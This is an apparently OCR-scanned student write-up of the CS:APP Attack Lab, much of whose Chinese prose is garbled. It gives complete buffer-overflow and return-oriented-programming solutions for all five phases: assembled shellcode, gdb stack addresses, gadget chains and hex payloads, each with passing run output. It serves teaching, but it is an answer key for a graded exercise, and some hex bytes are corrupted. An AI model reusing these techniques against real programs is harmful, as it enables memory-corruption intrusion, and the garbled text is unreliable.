Attack Lab SCIGHRES

3102 XUBBIE 2020011156

e MREFIREIRFZ, AESMEL. {UET, BasiEL. |{UEa (WRE) .

SCIe HAY

L. TN TFEEZS T E T KiaHNERr, KEEBERBKEFE.

2. BIIEEE, H—EFIJNREEMEZENER,; TR ERRMRFES A LR RIS I,
3. H—SIERx86-64FF S HUEIBFNE I TRIR A TAEN L,

4. BEx86-645SHIRID .

5. B7% gdb, objdump FEIX TEMERSIE.

Part I: Code Injection Attack

[RIE

EFNRLARFIEARTIAN, EANFFIHATEESEEL LRNRELE, EMEFRITZRIRENE. X2
FRKBHAERRE, EX—TH, ctarget ERRSTILAIBINRERMN, FEILITHR ERE. XE,
HAJAT LUFEERITROIE RSN, BiSREESREBIIERS) EARESRIMEIE, MMZemUBiENR .
BRRICREENAHRITI Hctarget

objdump -S ./ctarget > ctarget.s

Phase 1

M
EHRRIE

00000000004018af <touchl>

WEHAOR


af://n0
af://n5
af://n17
af://n18
af://n22
af://n23

0000000000401899 <getbuf>:

401899: 48 83 ec 28 sub $0x28,%rsp
40189d: 48 89 e7 mov %rsp,%rdi
401820: e8 94 02 00 00 callg 401b39 <Gets>

getbuf BRENGHLISE THL 740715, REERTIRBNEHRKEHTIRFEIAY cets REL. FANTLEEBAN, &
getbuf FHRMEHBUIFETSAY touchl BREIAIMEIE, IXHF getbuf IRMEIRS, FEFRIEHISEBRLE touchl . BTTAIHRATEE
(RAVEE INNERIAN

Return Address +ouch B9tk

<——7,rsp

Ox00

—{i

0) @

@ A Gets Al @ getbuf IR[EIF]

Lt A =
sEIIiE
SEIEFRA0FTS oxeo , SAEEIENtouchl FREMIHEAY/ NRRT, BREMIBE, $1.txth
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

af 18 40 00 00 00 00 00

fEap A THIRIE

cat 1.txt | ./hex2raw | ./ctarget -q

2020011156@hp:~$ cat 1.txt | ./hex2raw | ./ctarget -q
Cookie: 0x4a8bf816

Type string:Touchl!: You called touchi()

Valid solution for level 1 with target ctarget

PASS: Would have posted the following:

user id NoOne

course 15213-f15

lab attacklab

result 1234:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00
00 00 OO 00 00 OO 00 0O OO OO0 OO GO 00 0O OO OO PO OO 0O 00 PO 00 00
00 00 00 00 OO GO 0O 0O OO AF 18 40 00 00 0O 00 00



af://n32

Phase 2

SEIG RIS
EHRRIE

00000000004018dd <touch2>

Fricookic oxaasbisis IRBEHEN. HTEHIBRRMNIES, RiTBEBMmE—RINES:

1. RS 15 cookie SHIZ! %rdi B1Feedh
2. #touch2 RETRYHBILFAE
3. 1R[]

B LIRSS THFIBFER T XIS ENE, BB LRESHIRAHUTII getoufANRE I F, NTITE
getbufiREINY, FEASERUEEtouch2ATEA.

B TR RAV A AN T BRI

-------- ] ----=--- - touch2 89 stk
: 00 00 00 DD 55 64 ot 28 <—7°"5P 7 0D 00 00 0D 00 40 |8 dd <—7;r5|> puc
i 0x00 0x00
: 3 0040r--- ¢3 0040

0x55640075...18.d 68 4o 8b £8 16 b 18 dd 68 40 8b £8 16 bf

@ @
Dgetbuf IR[EIFYT QB X A Hrethl 1 TEI
eI tE

B BA=RKIESHICRARTE, FFexploit2.sH

# exploit2.s

movl  $0x4a8bf816, %edi # HEESH
pushg $0x00000000004018dd # touch2ittilt[Fr%
ret # 1R[E]

TR g++ IBELCERpL—EHISY, PR objdump [iC4R,

g++ -c exploit2.s -o exploit2.o
objdump -S exploit2.o0 > exp2.s

5% exp2.s T


af://n39
af://n40
af://n56

exploit.o: file format elf64-x86-64

Disassembly of section .text:

0000000000000000 <.text>:

0: bf 16 8 8b 4a mov $0x4a8bf816, %edi
5: 68 dd 18 40 00 pushq $0x4018dd
a: c3 retq

g, FAVERITHERBESHITHBIZFRDR. FIIATLAA gdb SREVEIE FHI40FBERIRIBIE, BTFZERFRIRIIER
EEN, EFSREBSBIRNER b, B HNE—TEST=:

(gdb) b *0x40189d

Breakpoint 1 at 0x40189d: file buf.c, line 14.
(gdb) run -gq >

Starting program: /home/2020011156/ctarget -q >

Breakpoint 1, getbuf () at buf.c:14
(gdb) p $rsp
$1 = (void *) 0x5564a928

MITIERE TIENRAVESIARI B E ox5564a928 , HUEIE 2. txt A0

bf 16 f8 8b 4a
68 dd 18 40 00

00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00

28 a9 64 55 00 00 00 00

&R /938D

L ENFHITIESFS

2. FH ox00 i1

3. IR EIMEU B R A FTIE S I FFaaAIEE
EmSITHIgIE

cat 2.txt | ./hex2raw | ./ctarget -q



2020011156@hp:~$ cat 2.txt | ./hex2raw | ./ctarget -q
Cookile: 0x4a8bf816

Type string:Touch2!: You called touch2(0x4a8bf816)
Valid solution for level 2 with target ctarget

PASS: Would have posted the following:

user 1d NoOne

course 15213-f15

lab attacklab

result 1234:PASS:0xffffffff:ctarget:2:BF 16 F8 8B 4A 68 DD 18
40 00 C3 00 00 00 OO 0O 0O OO 00 0O OO OO 0O OO OO OO OO OO 00 0O 0O
00 0O OO 00 00 OO 00 0O OO 28 A9 64 55 00 00 00 00

Phase 3

LI RIE
SiaEhEl
00000000004019f4 <touch3>
Fioookiel) | GHEHIFRAF AR EMAHENSIEN, RERBAWSIE Phase2 MER b, SHENAFHRERER

L. AR HEEIHFASE—SEUELS touchs ,

iEEE) touch3 HRY hexmatch F1 strncmp AIEARTREISH P ERIEALAVEEST, XEHNBIRPXEHENRIEDT
BEaEKR. B, HEA getouf REURENE ETRISFIIRMEFFIIE.

B TR R T EIRTR

cookie --—-13b 31 38 66 b2 38 61 % 3b 31 38 66 b2 33 61 4
(/====---100 00 00 D 55 b4 o? 28 drsp /7 00 00 0D 00 00 40 19 $4 -;%-rgé-—toucha 9sbhk
E Ox00 ! Ox00
i 355 al s &3 55 ¢4 of 58
@ ®
Dgetbuf REF] QE X hATretfTHT
T K

A Phase2 hELZBRIRMBU, SR ITEHFRFHEMTFE oxss64a958 , AL, EHES. EXANCHERR, &F
exploit3.s HA

# exploit3.s

pushq $0x4019f4 # touch3 HbhFHE

movq  $0x5564a958, %rdi # BEHFENFMEIHES
ret # 1R[E]


af://n79
af://n80
af://n88

TR g++ IGELCERpL—EHIS M, FEAE objdump [iCHR,

g++ -c exploit3.s -o exploit3.o
objdump -S exploit3.o > exp3.s

152l exp3.s I

exploit3.o: file format elf64-x86-64

Disassembly of section .text:

0000000000000000 <.text>:

0: 68 f4 19 40 00 pushqg $0x4019f4
5: 48 c7 c7 28 a9 64 55 mov $0x5564a928, %rdi
c: c3 retq

gntE, FAWSRTHENIESRITHBIFRT. KA 6EHIASCIRIMER

ascii -x

B2 cookie (ox4a8bf816) FIFIFEREZRN/T 34 61 38 62 66 38 31 36,

HIEIE 3. txt A0

68 f4 19 40 00
48 c7 c7 58 a9 64 55
c3

00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00

28 a9 64 55 00 00 00 00

34 61 38 62 66 38 31 36

KHED RAEBD

LIEANHITIESFS

2. F exe0 {3

3. IR EMIE = A TIE S AT IaRYBIE
4. cookie (0x4a8bf816) XN FFFEEHIRT.

fEan 1 THISIE

cat 3.txt | ./hex2raw | ./ctarget -q

BRIER



2020011156@hp:~% cat 3.txt | ./hex2raw | ./ctarget -q

Cook1le: 0x4a8bf816
Type string:Touch3!: You called touch3("4a8bf816")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
user id NoOne
course 15213-f15
lab attacklab
result 1234:PASS:0xffffffff:ctarget:3:68 F4 19 40 00 48 C7 C7
58 A9 64 55 C3 00 00 00 0O GO 00 00 0O 0O OO GO 0O 00 GO 0O OO OO0 6O
00 0O 0O 00 OO0 OO0 OO OO GO 28 A9 64 55 00 00 00 00 34 61 38 62 66 38 3

1 36

Part II: Return-Oriented Programming

[RIE
RIS, rtarget AN T PUENE

1 HHIREHE, XEBIEE TAENEREPXAIIUE, WA EEESEIENMUBIE.
2. MRFPERXERE AT YT, NRPCIEREFIMR, BERERER,

Ett, X—THFAIR A Return-Oriented Programming X rtarget SCHER TG, BEEEL, FLEM rtarget AR S
FELRIBERTINESFY, BANVNRBFRA— gadget, HEPEIRIVEERITANES, FHllret EE, MM
5| REHXFT—5% gadget BIHIT.

BRERICRAERNT T Hrtarget

objdump -S ./rtarget > rtarget.s

Phase 4

LGRS
EHRRIE

00000000004018dd <touch2>

R ANIERPHENSS, TohRT %rdi FOME, F ret E touch2 itBiIL,
EieakB, HEKE

popq %rdi
ret

ERMAAFEGNIECHITHEIFT R, EHRIRFEER Ecookie/BBHEIRE N RN "EiFss, REBERE %rdi
&,


af://n114
af://n115
af://n125
af://n126

EXRREEIHLERF (popa ), BEPXFRIREMEL, H—LFEA novq I8, GeookieBFE %rdi H, ZATHY
RV E AR~

touch 28930 2
movg frax Jordi B3tk
cookie
Return Address ?OF? Torox B9spk << oTSP
0x00
<— nTSP
@EFRGetsHl @getbuf IR [EIF]
touch 2 693ty k. touch 2 B9ty stk <
ovg ferax Jordi B3t uk| . movg ferax Jordi B35t nk P
cookie F cookie
2opq Jorox BIshiak popq Torox BIst ik
0x00 0x00
Ggadget 1 IREIF] @gadget2IR[EIF]
LIS TS
EREKA
movg S, D
Source Destination D
S Frax $rcx Srdx %rbx srsp Srbp %rsi Srdi

$rax | 48 89 c0 | 48 89 cl1 | 48 89 c2 | 48 89 c3 | 48 89 c4 | 48 89 c¢5 M 48 89 c7
$rcx | 48 89 c8 | 48 89 c9 | 48 89 ca | 48 89 cb | 48 89 cc | 48 89 cd | 48 89 ce | 48 89 cf
$rdx | 48 89 d0 | 48 89 dl1 | 48 89 d2 | 48 89 d3 | 48 89 d4 | 48 89 d5 | 48 89 d6 | 48 89 d7
$rbx | 48 89 dB8 | 48 89 d9 | 48 89 da | 48 89 db | 48 89 dc | 48 89 dd | 48 89 de | 48 89 df
$rsp | 48 89 e0 | 48 89 el | 48 89 e2 | 48 89 3 | 48 89 e4 | 48 89 e5 | 48 89 e6 | 48 89 e7
Srbp | 48 89 e8 | 48 89 €9 | 48 89 ea | 48 89 eb | 48 89 ec | 48 89 ed | 48 89 ee | 48 89 ef
$rsi | 48 89 f0 | 48 89 f1 | 48 89 f2 | 48 89 f3 | 48 89 f4 | 48 89 f5 | 48 89 f6 | 48 89 f7
$rdi | 48 89 f8 | 48 89 f9 | 48 89 fa | 48 89 fb | 48 89 fc | 48 89 fd | 48 89 fe | 48 89 ff

WHA, KI—NEIATHIRER %rax , NS0T


af://n138

0000000000401ab9 <getval 303>:
401ab9: b8 4c 48 89 c7
40l1abe: c3

BI I gadget] 3T ex4e1abb,

HMHENGHRINAZ SRR %rax PEVERAHD

0000000000401abf <addval_454>:
40l1abf: 8d 87 4a 4b f5 58
401acs: c3

B gadget2 #BHE/F ox401ac4,

HIEIE 4. txt A0

00 00 00 00 00 0O 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c4 la 40 00 00 00 00 00
16 f8 8b 4a 00 00 00 00

bb 1la 40 00 00 00 00 00

dd 18 40 00 00 00 00 00

HIESD /I5ER

1. F exee 5% getbuf AYR[EIMENE
2. gadgetl: popq %rax FYibilt

3. cookie

4. gadget2: movq %rax, %rdi A9tk
5. touch2 HYHBLE

fEaR<ATHIRIE

cat 4.txt | ./hex2raw | ./rtarget -q

BRIER

2020011156@hp:~% cat 4.txt | ./hex2raw | ./rtarget -q
Cookle: 0x4a8bf816
Type string:Touch2!: You called touch2(0x4a8bf816)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:

user id NoOne

course 15213-f15

lab attacklab

result 1234:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00
00 00 6O GO 0O 00 0O GO GO GO 0O 0O 0O OO GO 0O 0O 0O 0O OO OGO 00 00
00 00 00 00 00 00 00 6O GO C4 1A 40 00 GO GO 00 00 16 F8 8B 4A 00 00 O
O 00 BB 1A 40 00 00 00 00 00 DD 18 46 00 00 00 00 00




Phase 5

ML [
Bir2VER
00000000004019f4 <touch3>
Fi&cookieFRTERATHBIMSEUEN. FATTLUSRGRIBEAIELL, SERBEIZF BB EERLE %rsp , AEIR
@12 touch3 ERZEL.

BRSHR— R LSRR RZENRgadget, ETEE!

0000000000401ad2 <add_xy>:
401ad2: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
401ad6: c3 retq

FTLAE RSB R 20 AR aNE! %rdi 0 %rsi , A EIMIEMMINE, ATSIE srax E@E] %rdi BATLASSHES
357.

PRI T AR nov $59., AESRAMANSEETN, MSRHEHRE, bABmTHES,
Ft, MARGERAUETTS, B movl 5 movqg ASBERES. XFEERNTTATEE RASeE RS Headget, (1%
S sugE))

ST UE

EERRRE, AENFETEHMEFNBRSHIGHEIRE, SHATLATMAESHeadeet. EESTIENE, HARM
EBIMESERIRE ret, BIRMESEYLIRE—EHARNEZFER functional nop 3§<, AFAHIM ret

—MET{THIgadget FHIR (SSHUTRITERT, EHUTRVES, ret IESIEZR)

# Address Binary Exploiting Instruction Functional Nop
401b16: 48 89 €0 c3 movq %rsp, %rax
401aa0: 48 89 c7 c3 movq %rax, %rdi
401ac4: 58 c3 popq %rax
401bld: 89 cl1 20 c9 c3 movl %eax, %ecx
401ae0: 8d 87 89 ca 20 c9 c3 movl %ecx, %edx andb %cl, %cl
401b77: 89 d6 08 c9 c3 movl %edx, %esi orb %cl, %cl
40l1ad2: 48 8d 04 37 c3 leaq (%rdi,%rsi,1), %rax
401220: 48 89 c7 c3 movq %rax, %rdi

L, FIREEISERNE TR B


af://n165
af://n166
af://n174

cookie string
address of touch3

& address of cookie string

movg forax, fordi € - ——1-
leaq (%rdi,%rsi,l),%raﬁ—
movl Toedx, loesi € - ——-
movl Toecxt,loedz ¢-——F offset= 0x48
movl  %eeox,lhecx€e--—--

T

offset value

PO Pq 70 rox€ ———--- -

movq  fofax, oord'é— B <— address stored in %ordi
movq Torsp, Jorax¢ -- -1

0Ox00

HRESZEIE, offset{EN /g 8x9=72=0x48

IS 5. txt AT

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00

16 1b 40 00 00 00 00 00
a0 la 40 00 00 00 00 00
c4 1la 40 00 00 00 00 00

48 00 00 00 00 00 00 00

1d 1b 40 00 00 00 00 00
e0 la 40 00 00 00 00 00
77 1b 40 00 00 00 00 00
d2 1a 40 00 00 00 00 00
a0 la 40 00 00 00 00 00

f4 19 40 00 00 00 00 00

34 61 38 62 66 38 31 36

WS 688

1. A exee (HfiZ getbuf AYIREIELE

2. gadgets: JGULATHEISETTFN %rdi, SBHRBE

3. cookie HEXI &I EHRFRIRIRZ 2

4. gadgets: HRBEEZFLHNT %rsi, 5 %rdi PIERAVEIESTHHEUMEINGTEN %rax, BERE %rdi
5. touch3fythlt

6. cookie (0x4a8bf816) FIFfFERFR T



=

ap

SATHIIE

cat 5.txt | ./hex2raw | ./rtarget -q

2020011156@hp:~$ cat 5.txt | ./hex2raw | ./rtarget -q
Cookie: O0x4a8bf816
Type string:Touch3!: You called touch3("4a8bf816")
Valid solution for level 3 with target rtarget
PASS: Would have posted the following:

user id NoOne

course 15213-f15

lab attacklab

result 1234:PASS:0xffffffff:rtarget:3:00 00 00 00 00 00 00 00 00 00 6O 00 00
00 00 00 00 0O GO 0O 0O 00 0O OO GO 0O 0O 0O 0O GO 0O 6O 0O OO0 00 GO 0O GO 00 00 16
1B 40 00 00 00 00 GO0 AG 1A 40 00 00 00 00 00 C4 1A 40 00 00 0O GO 0O 48 00 00 00 00 O
0 00 00 1D 1B 40 00 00 00 0O 0O EO 1A 40 0O 00 6O 00 060 77 1B 40 00 00 00 00 00 D2 1A
40 00 00 00 00 00 AG 1A 40 00 0O 00 00 00 F4 19 40 00 00 00 00 00 34 61 38 62 66 38
31 36

ST AN SE
SCEGIME

BERELR, BXEPXEHRERIRF IR ERSEE TR, XBU T HRAESSRE TR SRR,
Ht—LRAE T Shel rpZMERGCHYER. b, ARLWREF THRMCRADIETIESRS, EREERRDHT
REE R REPIE THIRAPIRE.



af://n202
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